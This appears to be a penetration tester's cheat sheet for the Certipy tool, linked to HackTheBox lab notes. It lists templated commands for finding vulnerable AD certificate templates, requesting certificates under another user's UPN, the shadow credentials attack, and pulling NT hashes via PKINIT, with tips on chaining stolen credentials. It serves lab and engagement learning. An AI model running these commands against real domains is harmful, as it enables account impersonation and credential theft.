🛠️ Certipy

Installation

pipx install certipy-ad

Common Commands

CommandDescription
certipy-ad find -u '<user>@<domain>' -p '<pass>' -dc-ip <dc_ip> -vulnerable -stdoutEnumerate every CA/template in Active Directory Certificate Services (ADCS) and flag which ESC misconfigurations apply, based on the authenticated user’s actual group memberships.
certipy-ad req -u '<user>@<domain>' -p '<pass>' -ca '<ca_name>' -template '<template_name>' -upn '<target_upn>'Request a certificate from a given template, optionally overriding the UPN embedded in the request (ESC1/ESC9-style).
certipy-ad auth -pfx '<file>.pfx' -domain '<domain>' -dc-ip <dc_ip>Authenticate with an issued certificate — returns a Kerberos ccache and, if StrongCertificateBindingEnforcement allows it, the account’s NT hash via PKINIT (U2U).
certipy-ad shadow auto -u '<user>@<domain>' -p '<pass>' -account '<target>' -dc-ip <dc_ip>Active Directory - Shadow Credentials Attack end-to-end: adds a Key Credential, requests a certificate through it, and authenticates — no separate pywhisker/PKINITtools chain needed.
certipy-ad account update -u '<user>@<domain>' -p '<pass>' -user '<target_sam>' -upn '<new_upn>' -dc-ip <dc_ip>Read/write an account’s userPrincipalName — the core primitive Active Directory - ESC9 (No Security Extension) Abuse relies on.
certipy-ad ca -u '<user>@<domain>' -p '<pass>' -ca '<ca_name>' -list-templatesList every template published on a specific CA.

Tips & Tricks

  • find -vulnerable only flags what the authenticated account can actually reach — re-run it after every new credential gained during an engagement, same as BloodHound collection.
  • -hashes and -k (Kerberos/ccache) work everywhere -p does — once one identity’s certificate is obtained via PKINIT, the resulting ccache chains straight into the next certipy-ad command without ever touching a plaintext password.
  • certipy-ad auth fails to return an NT hash (only a TGT) when StrongCertificateBindingEnforcement is set to 2 and the certificate carries no strong SID mapping — that gap is exactly what ESC9/ESC10 exist to route around.
FileCreated
HTB - AuthorityJuly 23, 2026
HTB - CertifiedJuly 23, 2026

References: Certipy GitHub